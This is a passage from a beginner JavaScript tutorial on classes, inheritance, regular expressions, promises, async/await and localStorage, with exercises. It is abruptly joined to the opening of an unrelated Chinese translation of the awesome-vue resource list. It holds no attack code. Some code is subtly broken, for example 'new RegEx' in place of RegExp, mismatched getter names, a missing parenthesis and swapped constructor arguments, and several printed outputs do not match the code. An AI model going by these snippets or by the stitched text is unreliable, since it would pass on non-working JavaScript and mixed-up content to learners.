All the keys of the object are undefined. When ever we instantiate we should pass the value of the properties. Let us pass value at this time when we instantiate the class.
```js
class Person {
constructor(firstName, lastName) {
this.firstName = firstName
this.lastName = lastName
}
}
const person1 = new Person('Asabeneh', 'Yetayeh')
console.log(person1)
```
```sh
Person {firstName: "Asabeneh", lastName: "Yetayeh"}
```
As we have stated at the very beginning that once we create a class we can create many object using the class. Now, let us create many person objects using the Person class.
```js
class Person {
constructor(firstName, lastName) {
console.log(this) // Check the output from here
this.firstName = firstName
this.lastName = lastName
}
}
const person1 = new Person('Asabeneh', 'Yetayeh')
const person2 = new Person('Lidiya', 'Tekle')
const person3 = new Person('Abraham', 'Yetayeh')
console.log(person1)
console.log(person2)
console.log(person3)
```
```sh
Person {firstName: "Asabeneh", lastName: "Yetayeh"}
Person {firstName: "Lidiya", lastName: "Tekle"}
Person {firstName: "Abraham", lastName: "Yetayeh"}
```
Using the class Person we created three persons object. As you can see our class did not many properties let us add more properties to the class.
```js
class Person {
constructor(firstName, lastName, age, country, city) {
console.log(this) // Check the output from here
this.firstName = firstName
this.lastName = lastName
this.age = age
this.country = country
this.city = city
}
}
const person1 = new Person('Asabeneh', 'Yetayeh', 250, 'Finland', 'Helsinki')
console.log(person1)
```
```sh
Person {firstName: "Asabeneh", lastName: "Yetayeh", age: 250, country: "Finland", city: "Helsinki"}
```
### Default values with constructor
The constructor function properties may have a default value like other regular functions.
```js
class Person {
constructor(
firstName = 'Asabeneh',
lastName = 'Yetayeh',
age = 250,
country = 'Finland',
city = 'Helsinki'
) {
this.firstName = firstName
this.lastName = lastName
this.age = age
this.country = country
this.city = city
}
}
const person1 = new Person() // it will take the default values
const person2 = new Person('Lidiya', 'Tekle', 28, 'Finland', 'Espoo')
console.log(person1)
console.log(person2)
```
```sh
Person {firstName: "Asabeneh", lastName: "Yetayeh", age: 250, country: "Finland", city: "Helsinki"}
Person {firstName: "Lidiya", lastName: "Tekle", age: 28, country: "Finland", city: "Espoo"}
```
### Class methods
The constructor inside a class is a builtin function which allow us to create a blueprint for the object. In a class we can create class methods. Methods are JavaScript functions inside the class. Let us create some class methods.
```js
class Person {
constructor(firstName, lastName, age, country, city) {
this.firstName = firstName
this.lastName = lastName
this.age = age
this.country = country
this.city = city
}
getFullName() {
const fullName = this.firstName + ' ' + this.lastName
return fullName
}
}
const person1 = new Person('Asabeneh', 'Yetayeh', 250, 'Finland', 'Helsinki')
const person2 = new Person('Lidiya', 'Tekle', 28, 'Finland', 'Espoo')
console.log(person1.getFullName())
console.log(person2.getFullName())
```
```sh
Asabeneh Yetayeh
test.js:19 Lidiya Tekle
```
### Properties with initial value
When we create a class for some properties we may have an initial value. For instance if you are playing a game, you starting score will be zero. So, we may have a starting score or score which is zero. In other way, we may have an initial skill and we will acquire some skill after some time.
```js
class Person {
constructor(firstName, lastName, age, country, city) {
this.firstName = firstName
this.lastName = lastName
this.age = age
this.country = country
this.city = city
this.score = 0
this.skills = []
}
getFullName() {
const fullName = this.firstName + ' ' + this.lastName
return fullName
}
}
const person1 = new Person('Asabeneh', 'Yetayeh', 250, 'Finland', 'Helsinki')
const person2 = new Person('Lidiya', 'Tekle', 28, 'Finland', 'Espoo')
console.log(person1.score)
console.log(person2.score)
console.log(person1.skills)
console.log(person2.skills)
```
```sh
0
0
[]
[]
```
A method could be regular method or a getter or a setter. Let us see, getter and setter.
### getter
The get method allow us to access value from the object. We write a get method using keyword _get_ followed by a function. Instead of accessing properties directly from the object we use getter to get the value. See the example bellow
```js
class Person {
constructor(firstName, lastName, age, country, city) {
this.firstName = firstName
this.lastName = lastName
this.age = age
this.country = country
this.city = city
this.score = 0
this.skills = []
}
getFullName() {
const fullName = this.firstName + ' ' + this.lastName
return fullName
}
get getscore() {
return this.score
}
get getSkills() {
return this.skills
}
}
const person1 = new Person('Asabeneh', 'Yetayeh', 250, 'Finland', 'Helsinki')
const person2 = new Person('Lidiya', 'Tekle', 28, 'Finland', 'Espoo')
console.log(person1.getScore) // We do not need parenthesis to call a getter method
console.log(person2.getScore)
console.log(person1.getSkills)
console.log(person2.getSkills)
```
```sh
0
0
[]
[]
```
### setter
The setter method allow us to modify the value of certain properties. We write a setter method using keyword _set_ followed by a function. See the example bellow.
```js
class Person {
constructor(firstName, lastName, age, country, city) {
this.firstName = firstName
this.lastName = lastName
this.age = age
this.country = country
this.city = city
this.score = 0
this.skills = []
}
getFullName() {
const fullName = this.firstName + ' ' + this.lastName
return fullName
}
get getScore() {
return this.score
}
get getSkills() {
return this.skills
}
set setScore(score) {
this.score += score
}
set setSkill(skill) {
this.skills.push(skill)
}
}
const person1 = new Person('Asabeneh', 'Yetayeh', 250, 'Finland', 'Helsinki')
const person2 = new Person('Lidiya', 'Tekle', 28, 'Finland', 'Espoo')
person1.setScore = 1
person1.setSkill = 'HTML'
person1.setSkill = 'CSS'
person1.setSkill = 'JavaScript'
person2.setScore = 1
person2.setSkill = 'Planning'
person2.setSkill = 'Managing'
person2.setSkill = 'Organizing'
console.log(person1.score)
console.log(person2.score)
console.log(person1.skills)
console.log(person2.skills)
```
```sh
1
1
["HTML", "CSS", "JavaScript"]
["Planning", "Managing", "Organizing"]
```
Do not be puzzled by the difference between regular method and a getter. If you know how to make a regular method you are good. Let us add regular method called getPersonInfo in the Person class.
```js
class Person {
constructor(firstName, lastName, age, country, city) {
this.firstName = firstName
this.lastName = lastName
this.age = age
this.country = country
this.city = city
this.score = 0
this.skills = []
}
getFullName() {
const fullName = this.firstName + ' ' + this.lastName
return fullName
}
get getScore() {
return this.score
}
get getSkills() {
return this.skills
}
set setScore(score) {
this.score += score
}
set setSkill(skill) {
this.skills.push(skill)
}
getPersonInfo() {
let fullName = this.getFullName()
let skills =
this.skills.length > 0 &&
this.skills.slice(0, this.skills.length - 1).join(', ') +
` and ${this.skills[this.skills.length - 1]}`
let formattedSkills = skills ? `He knows ${skills}` : ''
let info = `${fullName} is ${this.age}. He lives ${this.city}, ${this.country}. ${formattedSkills}`
return info
}
}
const person1 = new Person('Asabeneh', 'Yetayeh', 250, 'Finland', 'Helsinki')
const person2 = new Person('Lidiya', 'Tekle', 28, 'Finland', 'Espoo')
const person3 = new Person('John', 'Doe', 50, 'Mars', 'Mars city')
person1.setScore = 1
person1.setSkill = 'HTML'
person1.setSkill = 'CSS'
person1.setSkill = 'JavaScript'
person2.setScore = 1
person2.setSkill = 'Planning'
person2.setSkill = 'Managing'
person2.setSkill = 'Organizing'
console.log(person1.getScore)
console.log(person2.getScore)
console.log(person1.getSkills)
console.log(person2.getSkills)
console.log(person3.getSkills)
console.log(person1.getPersonInfo())
console.log(person2.getPersonInfo())
console.log(person3.getPersonInfo())
```
```sh
1
1
["HTML", "CSS", "JavaScript"]
["Planning", "Managing", "Organizing"]
[]
Asabeneh Yetayeh is 250. He lives Helsinki, Finland. He knows HTML, CSS and JavaScript
Lidiya Tekle is 28. He lives Espoo, Finland. He knows Planning, Managing and Organizing
John Doe is 50. He lives Mars city, Mars.
```
### Static method
The static keyword defines a static method for a class. Static methods are not called on instances of the class. Instead, they are called on the class itself. These are often utility functions, such as functions to create or clone objects. An example of static method is _Date.now()_. The _now_ method is called directly from the class.
```js
class Person {
constructor(firstName, lastName, age, country, city) {
this.firstName = firstName
this.lastName = lastName
this.age = age
this.country = country
this.city = city
this.score = 0
this.skills = []
}
getFullName() {
const fullName = this.firstName + ' ' + this.lastName
return fullName
}
get getScore() {
return this.score
}
get getSkills() {
return this.skills
}
set setScore(score) {
this.score += score
}
set setSkill(skill) {
this.skills.push(skill)
}
getPersonInfo() {
let fullName = this.getFullName()
let skills =
this.skills.length > 0 &&
this.skills.slice(0, this.skills.length - 1).join(', ') +
` and ${this.skills[this.skills.length - 1]}`
let formattedSkills = skills ? `He knows ${skills}` : ''
let info = `${fullName} is ${this.age}. He lives ${this.city}, ${this.country}. ${formattedSkills}`
return info
}
static favoriteSkill() {
const skills = ['HTML', 'CSS', 'JS', 'React', 'Python', 'Node']
const index = Math.floor(Math.random() * skills.length)
return skills[index]
}
static showDateTime() {
let now = new Date()
let year = now.getFullYear()
let month = now.getMonth() + 1
let date = now.getDate()
let hours = now.getHours()
let minutes = now.getMinutes()
if (hours < 10) {
hours = '0' + hours
}
if (minutes < 10) {
minutes = '0' + minutes
}
let dateMonthYear = date + '.' + month + '.' + year
let time = hours + ':' + minutes
let fullTime = dateMonthYear + ' ' + time
return fullTime
}
}
console.log(Person.favoriteSkill())
console.log(Person.showDateTime())
```
```sh
Node
15.1.2020 23:56
```
The static methods are methods which can be used as utility functions.
## Inheritance
Using inheritance we can access all the properties and the methods of the parent class. This reduces repetition of code. If you remember, we have a Person parent class and we will create children from it. Our children class could be student, teach etc.
```js
// syntax
class ChildClassName extends {
// code goes here
}
```
Let us create a Student child class from Person parent class.
```js
class Student extends Person {
saySomething() {
console.log('I am a child of the person class')
}
}
const s1 = new Student('Asabeneh', 'Yetayeh', 'Finland', 250, 'Helsinki')
console.log(s1)
console.log(s1.saySomething())
console.log(s1.getFullName())
console.log(s1.getPersonInfo())
```
```sh
Student {firstName: "Asabeneh", lastName: "Yetayeh", age: "Finland", country: 250, city: "Helsinki", …}
I am a child of the person class
Asabeneh Yetayeh
Student {firstName: "Asabeneh", lastName: "Yetayeh", age: "Finland", country: 250, city: "Helsinki", …}
Asabeneh Yetayeh is Finland. He lives Helsinki, 250.
```
### Overriding methods
As you can see, we manage to access all the methods in the Person Class and we used it in the Student child class. We can customize the parent methods, we can add additional properties to a child class. If we want to customize, the methods and if we want to add extra properties, we need to use the constructor function the child class too. In side the constructor function we call the super() function to access all the properties from the parent class. The Person class didn't have gender but now let us give gender property for the child class, Student. If the same method name used in the child class, the parent method will be overridden.
```js
class Student extends Person {
constructor(firstName, lastName, age, country, city, gender) {
super(firstName, lastName, age, country, city)
this.gender = gender
}
saySomething() {
console.log('I am a child of the person class')
}
getPersonInfo() {
let fullName = this.getFullName()
let skills =
this.skills.length > 0 &&
this.skills.slice(0, this.skills.length - 1).join(', ') +
` and ${this.skills[this.skills.length - 1]}`
let formattedSkills = skills ? `He knows ${skills}` : ''
let pronoun = this.gender == 'Male' ? 'He' : 'She'
let info = `${fullName} is ${this.age}. ${pronoun} lives in ${this.city}, ${this.country}. ${formattedSkills}`
return info
}
}
const s1 = new Student(
'Asabeneh',
'Yetayeh',
250,
'Finland',
'Helsinki',
'Male'
)
const s2 = new Student('Lidiya', 'Tekle', 28, 'Finland', 'Helsinki', 'Female')
s1.setScore = 1
s1.setSkill = 'HTML'
s1.setSkill = 'CSS'
s1.setSkill = 'JavaScript'
s2.setScore = 1
s2.setSkill = 'Planning'
s2.setSkill = 'Managing'
s2.setSkill = 'Organizing'
console.log(s1)
console.log(s1.saySomething())
console.log(s1.getFullName())
console.log(s1.getPersonInfo())
console.log(s2.saySomething())
console.log(s2.getFullName())
console.log(s2.getPersonInfo())
```
```sh
Student {firstName: "Asabeneh", lastName: "Yetayeh", age: 250, country: "Finland", city: "Helsinki", …}
Student {firstName: "Lidiya", lastName: "Tekle", age: 28, country: "Finland", city: "Helsinki", …}
I am a child of the person class
Asabeneh Yetayeh
Student {firstName: "Asabeneh", lastName: "Yetayeh", age: 250, country: "Finland", city: "Helsinki", …}
Asabeneh Yetayeh is 250. He lives in Helsinki, Finland. He knows HTML, CSS and JavaScript
I am a child of the person class
Lidiya Tekle
Student {firstName: "Lidiya", lastName: "Tekle", age: 28, country: "Finland", city: "Helsinki", …}
Lidiya Tekle is 28. She lives in Helsinki, Finland. He knows Planning, Managing and Organizing
```
Now, the getPersonInfo method has been overridden and it identifies if the person is male or female.
## Exercises
### Exercises Level 1
1. Create an Animal class. The class will have name, age, color, legs properties and create different methods
2. Create a Dog and Cat child class from the Animal Class.
### Exercises Level 2
1. Override the method you create in Animal class
### Exercises Level 3
1. Let's try to develop a program which calculate measure of central tendency of a sample(mean, median, mode) and measure of variability(range, variance, standard deviation). In addition to those measures find the min, max, count, percentile, and frequency distribution of the sample. You can create a class called Statistics and create all the functions which do statistical calculations as method for the Statistics class. Check the output below.
```JS
ages = [31, 26, 34, 37, 27, 26, 32, 32, 26, 27, 27, 24, 32, 33, 27, 25, 26, 38, 37, 31, 34, 24, 33, 29, 26]
console.log('Count:', statistics.count()) // 25
console.log('Sum: ', statistics.sum()) // 744
console.log('Min: ', statistics.min()) // 24
console.log('Max: ', statistics.max()) // 38
console.log('Range: ', statistics.range() // 14
console.log('Mean: ', statistics.mean()) // 30
console.log('Median: ',statistics.median()) // 29
console.log('Mode: ', statistics.mode()) // {'mode': 26, 'count': 5}
console.log('Variance: ',statistics.var()) // 17.5
console.log('Standard Deviation: ', statistics.std()) // 4.2
console.log('Variance: ',statistics.var()) // 17.5
console.log('Frequency Distribution: ',statistics.freqDist()) // [(20.0, 26), (16.0, 27), (12.0, 32), (8.0, 37), (8.0, 34), (8.0, 33), (8.0, 31), (8.0, 24), (4.0, 38), (4.0, 29), (4.0, 25)]
```
```sh
// you output should look like this
console.log(statistics.describe())
Count: 25
Sum: 744
Min: 24
Max: 38
Range: 14
Mean: 30
Median: 29
Mode: (26, 5)
Variance: 17.5
Standard Deviation: 4.2
Frequency Distribution: [(20.0, 26), (16.0, 27), (12.0, 32), (8.0, 37), (8.0, 34), (8.0, 33), (8.0, 31), (8.0, 24), (4.0, 38), (4.0, 29), (4.0, 25)]
```
1. Create a class called PersonAccount. It has firstname, lastname, incomes, expenses properties and it has totalIncome, totalExpense, accountInfo,addIncome, addExpense and accountBalance methods. Incomes is a set of incomes and its description and expenses is also a set of expenses and its description.
## Regular Expressions
A regular expression or RegEx is a small programming language that helps to find pattern in data. A RegEx can be used to check if some pattern exists in a different data types. To use RegEx in JavaScript either we use RegEx constructor or we can declare a RegEx pattern using two forward slashes followed by a flag. We can create a pattern in two ways.
To declare a string we use a single quote, double quote a backtick to declare a regular expression we use two forward slashes and an optional flag. The flag could be g, i, m, s, u or y.
### RegEx parameters
A regular expression takes two parameters. One required search pattern and an optional flag.
#### Pattern
A pattern could be a text or any form of pattern which some sort of similarity. For instance the word spam in an email could be a pattern we are interested to look for in an email or a phone number format number might be our interest to look for.
#### Flags
Flags are optional parameters in a regular expression which determine the type of searching. Let see some of the flags:
- g:is a global flag which means looking for a pattern in whole text
- i: case insensitive flag(it searches for both lowercase and uppercase)
- m: multiline
### Creating a pattern with RegEx Constructor
Declaring regular expression without global flag and case insensitive flag.
```js
// without flag
let pattern = 'love'
let regEx = new RegEx(pattern)
```
Declaring regular expression with global flag and case insensitive flag.
```js
let pattern = 'love'
let flag = 'gi'
let regEx = new RegEx(pattern, flag)
```
Declaring a regex pattern using RegEx object. Writing the pattern and the flag inside the RegEx constructor
```js
let regEx = new RegEx('love','gi')
```
### Creating a pattern without RegEx Constructor
Declaring regular expression with global flag and case insensitive flag.
```js
let regEx= /love/gi
```
The above regular expression is the same as the one which we created with RegEx constructor
```js
let regEx= new RegEx('love','gi')
```
### RegExp Object Methods
Let see some of RegEx methods
#### Testing for a match
*test()*:Tests for a match in a string. It returns true or false.
```js
const str = 'I love JavaScript'
const pattern = /love/
const result = pattern.test(str)
console.log(result)
```
```sh
true
```
#### Array containing all of the match
*match()*:Returns an array containing all of the matches, including capturing groups, or null if no match is found.
If we do not use a global flag, match() returns an array containing the pattern, index, input and group.
```js
const str = 'I love JavaScript'
const pattern = /love/
const result = str.match(pattern)
console.log(result)
```
```sh
["love", index: 2, input: "I love JavaScript", groups: undefined]
```
```js
const str = 'I love JavaScript'
const pattern = /love/g
const result = str.match(pattern)
console.log(result)
```
```sh
["love"]
```
*search()*: Tests for a match in a string. It returns the index of the match, or -1 if the search fails.
```js
const str = 'I love JavaScript'
const pattern = /love/g
const result = str.search(pattern)
console.log(result)
```
```sh
2
```
#### Replacing a substring
*replace()*: Executes a search for a match in a string, and replaces the matched substring with a replacement substring.
```js
const txt = 'Python is the most beautiful language that a human begin has ever created.\
I recommend python for a first programming language'
matchReplaced = txt.replace(/Python|python/, 'JavaScript')
console.log(matchReplaced)
```
```sh
JavaScript is the most beautiful language that a human begin has ever created.I recommend python for a first programming language
```
```js
const txt = 'Python is the most beautiful language that a human begin has ever created.\
I recommend python for a first programming language'
matchReplaced = txt.replace(/Python|python/g, 'JavaScript')
console.log(matchReplaced)
```
```sh
JavaScript is the most beautiful language that a human begin has ever created.I recommend JavaScript for a first programming language
```
```js
const txt = 'Python is the most beautiful language that a human begin has ever created.\
I recommend python for a first programming language'
matchReplaced = txt.replace(/Python/gi, 'JavaScript')
console.log(matchReplaced)
```
```sh
JavaScript is the most beautiful language that a human begin has ever created.I recommend JavaScript for a first programming language
```
```js
const txt = '%I a%m te%%a%%che%r% a%n%d %% I l%o%ve te%ach%ing.\
T%he%re i%s n%o%th%ing as m%ore r%ewarding a%s e%duc%at%i%ng a%n%d e%m%p%ow%er%ing \
p%e%o%ple.\
I fo%und te%a%ching m%ore i%n%t%er%%es%ting t%h%an any other %jobs.\
D%o%es thi%s m%ot%iv%a%te %y%o%u to b%e a t%e%a%cher.'
matches = txt.replace(/%/g, '')
console.log(matches)
```
```sh
I am teacher and I love teaching.There is nothing as more rewarding as educating and empowering people.I found teaching more interesting than any other jobs.Does this motivate you to be a teacher.
```
* []: A set of characters
* [a-c] means, a or b or c
* [a-z] means, any letter a to z
* [A-Z] means, any character A to Z
* [0-3] means, 0 or 1 or 2 or 3
* [0-9] means any number 0 to 9
* [A-Za-z0-9] any character which is a to z, A to Z, 0 to 9
* \\: uses to escape special characters
* \d mean:match where the string contains digits (numbers from 0-9)
* \D mean: match where the string does not contain digits
* . : any character except new line character(\n)
* ^: starts with
* r'^substring' eg r'^love', a sentence which starts with a word love
* r'[^abc] mean not a, not b, not c.
* $: ends with
* r'substring$' eg r'love$', sentence ends with a word love
* *: zero or more times
* r'[a]*' means a optional or it can be occur many times.
* +: one or more times
* r'[a]+' mean at least once or more times
* ?: zero or one times
* r'[a]?' mean zero times or once
* {3}: Exactly 3 characters
* {3,}: At least 3 character
* {3,8}: 3 to 8 characters
* |: Either or
* r'apple|banana' mean either of an apple or a banana
* (): Capture and group
Let's use example to clarify the above meta characters
### Square Bracket
Let's use square bracket to include lower and upper case
```js
const pattern = '[Aa]pple' // this square bracket mean either A or a
const txt = 'Apple and banana are fruits. An old cliche says an apple a day a doctor way has been replaced by a banana a day keeps the doctor far far away. '
const matches = txt.match(pattern)
console.log(matches)
```
```sh
["Apple", index: 0, input: "Apple and banana are fruits. An old cliche says an…by a banana a day keeps the doctor far far away. ", groups: undefined]
```
```js
const pattern = /[Aa]pple/g // this square bracket mean either A or a
const txt = 'Apple and banana are fruits. An old cliche says an apple a day a doctor way has been replaced by a banana a day keeps the doctor far far away. '
const matches = txt.match(pattern)
console.log(matches)
```
```sh
["Apple", "apple"]
```
If we want to look for the banana, we write the pattern as follows:
```js
const pattern = /[Aa]pple|[Bb]anana/g // this square bracket mean either A or a
const txt = 'Apple and banana are fruits. An old cliche says an apple a day a doctor way has been replaced by a banana a day keeps the doctor far far away. Banana is easy to eat too.'
const matches = txt.match(pattern)
console.log(matches)
```
```sh
["Apple", "banana", "apple", "banana", "Banana"]
```
Using the square bracket and or operator , we manage to extract Apple, apple, Banana and banana.
### Escape character(\\) in RegEx
```js
const pattern = /\d/g // d is a special character which means digits
const txt = 'This regular expression example was made in January 12, 2020.'
const matches = txt. match(pattern)
console.log(matches) // ["1", "2", "2", "0", "2", "0"], this is not what we want
```
```js
const pattern = /\d+/g // d is a special character which means digits
const txt = 'This regular expression example was made in January 12, 2020.'
const matches = txt. match(pattern)
console.log(matches) // ["12", "2020"], this is not what we want
```
### One or more times(+)
```js
const pattern = /\d+/g // d is a special character which means digits
const txt = 'This regular expression example was made in January 12, 2020.'
const matches = txt. match(pattern)
console.log(matches) // ["12", "2020"], this is not what we want
```
### Period(.)
```js
const pattern = /[a]./g // this square bracket means a and . means any character except new line
const txt = 'Apple and banana are fruits'
const matches = txt.match(pattern)
console.log(matches) // ["an", "an", "an", "a ", "ar"]
```
```js
const pattern = /[a].+/g // . any character, + any character one or more times
const txt = 'Apple and banana are fruits'
const matches = txt.match(pattern)
console.log(matches) // ['and banana are fruits']
```
### Zero or more times(*)
Zero or many times. The pattern could may not occur or it can occur many times.
```js
const pattern = /[a].*/g //. any character, + any character one or more times
const txt = 'Apple and banana are fruits'
const matches = txt.match(pattern)
console.log(matches) // ['and banana are fruits']
```
### Zero or one times(?)
Zero or one times. The pattern could may not occur or it may occur once.
```js
const txt = 'I am not sure if there is a convention how to write the word e-mail.\
Some people write it email others may write it as Email or E-mail.'
const pattern = /[Ee]-?mail/g // ? means optional
matches = txt.match(pattern)
console.log(matches) // ["e-mail", "email", "Email", "E-mail"]
```
### Quantifier in RegEx
We can specify the length of the substring we look for in a text, using a curly bracket. Lets imagine, we are interested in substring that their length are 4 characters
```js
const txt = 'This regular expression example was made in December 6, 2019.'
const pattern = /\d{4}/g // exactly four times
const matches = txt.match(pattern)
console.log(matches) // ['2019']
```
```js
const txt = 'This regular expression example was made in December 6, 2019.'
const pattern = /\d{1,4}/g // 1 to 4
const matches = txt.match(pattern)
console.log(matches) // ['6', '2019']
```
### Cart ^
- Starts with
```js
const txt = 'This regular expression example was made in December 6, 2019.'
const pattern = /^This/ // ^ means starts with
const matches = txt.match(pattern)
console.log(matches) // ['This']
```
- Negation
```js
const txt = 'This regular expression example was made in December 6, 2019.'
const pattern = /[^A-Za-z,. ]+/g // ^ in set character means negation, not A to Z, not a to z, no space, no coma no period
const matches = txt.match(pattern)
console.log(matches) // ["6", "2019"]
```
### Exact match
It should have ^ starting and $ which is an end.
```js
let pattern = /^[A-Z][a-z]{3,12}$/;
let name = 'Asabeneh';
let result = pattern.test(name)
console.log(result) // true
```
## 💻 Exercises
### Exercises: Level 1
1. Calculate the total annual income of the person from the following text. ‘He earns 4000 euro from salary per month, 10000 euro annual bonus, 5500 euro online courses per month.’
1. The position of some particles on the horizontal x-axis -12, -4, -3 and -1 in the negative direction, 0 at origin, 4 and 8 in the positive direction. Extract these numbers and find the distance between the two furthest particles.
```js
points = ['-1', '2', '-4', '-3', '-1', '0', '4', '8']
sortedPoints = [-4, -3, -1, -1, 0, 2, 4, 8]
distance = 12
```
1. Write a pattern which identify if a string is a valid JavaScript variable
```sh
is_valid_variable('first_name') # True
is_valid_variable('first-name') # False
is_valid_variable('1first_name') # False
is_valid_variable('firstname') # True
```
### Exercises: Level 2
1. Write a function called *tenMostFrequentWords* which get the ten most frequent word from a string?
```js
paragraph = `I love teaching. If you do not love teaching what else can you love. I love Python if you do not love something which can give you all the capabilities to develop an application what else can you love.`
console.log(tenMostFrequentWords(paragraph))
```
```sh
[
{word:'love', count:6},
{word:'you', count:5},
{word:'can', count:3},
{word:'what', count:2},
{word:'teaching', count:2},
{word:'not', count:2},
{word:'else', count:2},
{word:'do', count:2},
{word:'I', count:2},
{word:'which', count:1},
{word:'to', count:1},
{word:'the', count:1},
{word:'something', count:1},
{word:'if', count:1},
{word:'give', count:1},
{word:'develop',count:1},
{word:'capabilities',count:1},
{word:'application', count:1},
{word:'an',count:1},
{word:'all',count:1},
{word:'Python',count:1},
{word:'If',count:1}]
```
```js
console.log(tenMostFrequentWords(paragraph, 10))
```
```sh
[{word:'love', count:6},
{word:'you', count:5},
{word:'can', count:3},
{word:'what', count:2},
{word:'teaching', count:2},
{word:'not', count:2},
{word:'else', count:2},
{word:'do', count:2},
{word:'I', count:2},
{word:'which', count:1}
]
```
### Exercises: Level 3
1. Writ a function which cleans text. Clean the following text. After cleaning, count three most frequent words in the string.
```js
sentence = `%I $am@% a %tea@cher%, &and& I lo%#ve %tea@ching%;. There $is nothing; &as& mo@re rewarding as educa@ting &and& @emp%o@wering peo@ple. ;I found tea@ching m%o@re interesting tha@n any other %jo@bs. %Do@es thi%s mo@tivate yo@u to be a tea@cher!?`
console.log(cleanText(sentence))
```
```sh
I am a teacher and I love teaching There is nothing as more rewarding as educating and empowering people I found teaching more interesting than any other jobs Does this motivate you to be a teacher
```
1. Write a function which find the most frequent words. After cleaning, count three most frequent words in the string.
```js
console.log(mostFrequentWords(cleanedText))
[{word:'I', count:3}, {word:'teaching', count:2}, {word:'teacher', count:2}]
```
## Promises and Callbacks
From the following code blocks you will notice, the difference between callback and promises:
```js
//Callback
const doSomething = callback => {
setTimeout(() => {
const skills = ['HTML', 'CSS', 'JS']
callback('It didnt go well', skills)
}, 2000)
}
doSomething((err, result) => {
if (err) {
return console.log(err)
}
return console.log(result)
})
// after 2 seconds it will print
// => It didnt go well
const doSomething = callback => {
setTimeout(() => {
const skills = ['HTML', 'CSS', 'JS']
callback(false, skills)
}, 2000)
}
doSomething((err, result) => {
if (err) {
return console.log(err)
}
return console.log(result)
})
// after 2 seconds it will print the skills
// => ["HTML", "CSS", "JS"]
```
```js
// Promise
const doPromise = new Promise((resolve, reject) => {
setTimeout(() => {
const skills = ['HTML', 'CSS', 'JS']
if (skills.length > 0) {
resolve(skills)
} else {
reject('Something wrong has happened')
}
}, 2000)
})
doPromise
.then(result => {
console.log(result)
})
.catch(error => console.log(error))
const myPromise = n => {
return new Promise((resolve, reject) => {
if (n) {
resolve(n * n)
} else {
reject('You need to pass an argument')
}
})
}
const square = async n => {
let value = await myPromise(n)
return value
}
square()
.then(res => {
console.log(res)
})
.catch(err => console.log(err))
console.log(square(10))
```
## Async and Await
```js
const url = 'https://restcountries.eu/rest/v2/alll'
fetch(url)
.then(response => response.json())
.then(data => {
console.log(data)
})
.catch(error => console.log(error))
const fetchData = async () => {
try {
const response = await fetch(url)
const countries = await response.json()
console.log(countries)
} catch (err) {
console.log(err)
}
}
console.log('===== async and await')
fetchData()
```
## localStorage
Local storage is the para of the web storage API which is used to store data on the browser with no expiration data. The data will be available on the browser even after the browser is closed. There are five methods to work on local storage:
_setItem(), getItem(), removeItem(), clear(), key()_
### Setting item to the localStorage
When we set data to be stored in a localStorage, it will be stored as a string. If we are storing an array or an object, we should stringify it first to keep the format unless otherwise we lose the array structure or the object structure of the original data
```js
localStorage.setItem('name', 'Asabeneh');
console.log(localStorage) //Storage {name: 'Asabeneh', length: 1}
localStorage.setItem('age', 200);
console.log(localStorage) //Storage {age: '200', name: 'Asabeneh', length: 2}
const skills = ['HTML', 'CSS', 'JS', 'React'];
//Skills array has to be stringified first to keep the format.
const skillsJSON = JSON.stringify(skills,undefined, 4)
localStorage.setItem('skills', skillsJSON);
console.log(localStorage) //Storage {age: '200', name: 'Asabeneh', skills: 'HTML,CSS,JS,React', length: 3}
```
If we are storing an array, an object or object array, we should stringify the object first. See the example below.
```js
let skills = [
{ tech: 'HTML', level: 10 },
{ tech: 'CSS', level: 9 },
{ tech: 'JS', level: 8 },
{ tech: 'React', level: 9 },
{ tech: 'Redux', level: 10 },
{ tech: 'Node', level: 8 },
{ tech: 'MongoDB', level: 8 }
];
let skillJSON = JSON.stringify(skills);
localStorage.setItem('skills', skillJSON);
```
### Getting item from localStorage
```js
let name = localStorage.getItem('name');
let age = localStorage.getItem('age');
let skills = localStorage.getItem('skills');
console.log(name, age, skills) // 'Asabeneh', '200', '['HTML','CSS','JS','React']'
let skillsObj = JSON.parse(localStorage.getItem('skills'), undefined, 4);
console.log(skillsObj);
```
### Clearing the localStorage
The clear method, will clear everything stored in the local storage
```js
localStorage.clear();
```
### Exercises:Local Storage
## Cookies
### Exercises:Cookies
## JavaScript Interview Questions
### [JavaScript Tests](https://github.com/Asabeneh/JavaScript-for-Everyone/wiki/JavaScript-Tests)
### [JavaScript Test 1](https://github.com/Asabeneh/JavaScript-for-Everyone/wiki/JavaScript-Test-1)
### [JavaScript Test 2](https://github.com/Asabeneh/JavaScript-for-Everyone/wiki/JavaScript-Test-2)
### [JavaScript Test 3](https://github.com/Asabeneh/JavaScript-for-Everyone/wiki/JavaScript-Test-3)
- [JavaScript Test 3: Solutions](https://github.com/Asabeneh/JavaScript-for-Everyone/blob/master/solutions/javascript-test-3.js)
JavaScript-Test-4)
- [JavaScript Test 4: Solutions](https://github.com/Asabeneh/JavaScript-for-Everyone/blob/master/solutions/javascript-test-4.js)
|
# awesome-vue [![translate-svg]][translate-list]
[translate-svg]: http://llever.com/translate.svg
[translate-list]: https://github.com/chinanf-boy/chinese-translate-list
「 vue.js 资源的 惊喜派对🎉 」
[中文](./readme.md) | [english](https://github.com/vuejs/awesome-vue)
---
## 校对 🀄️ [这里](#%E6%A0%A1%E5%AF%B9%E5%88%B0%E8%BF%99%E9%87%8C)
<!-- doc-templite START generated -->
<!-- repo = 'vuejs/awesome-vue' -->
<!-- commit = '597ce537f061c67fdaab94b05417763ae946c441' -->
<!-- time = '2018 8.20' -->
翻译的原文 | 与日期 | 最新更新 | 更多
---|---|---|---
[commit] | ⏰ 2018 8.20 | ![last] | [中文翻译][translate-list]
[last]: https://img.shields.io/github/last-commit/vuejs/awesome-vue.svg
[commit]: https://github.com/vuejs/awesome-vue/tree/597ce537f061c67fdaab94b05417763ae946c441
<!-- doc-templite END generated -->
### 贡献
欢迎 👏 勘误/校对/更新贡献 😊 [具体贡献请看](https://github.com/chinanf-boy/chinese-translate-list#贡献)
## 生活
[If help, **buy** me coffee —— 营养跟不上了，给我来瓶营养快线吧! 💰](https://github.com/chinanf-boy/live-need-money)
---
<p align="center">
<br>
<img width="400" src="./logo.svg" alt="logo of vue-awesome repository">
<br>
<br>
</p>
## awesome-vue [](https://github.com/sindresorhus/awesome)
> 与Vue.js有关的awesome事物的清单
### 目录
<!-- START doctoc generated TOC please keep comment here to allow auto update -->
<!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
- [资源](#%E8%B5%84%E6%BA%90)
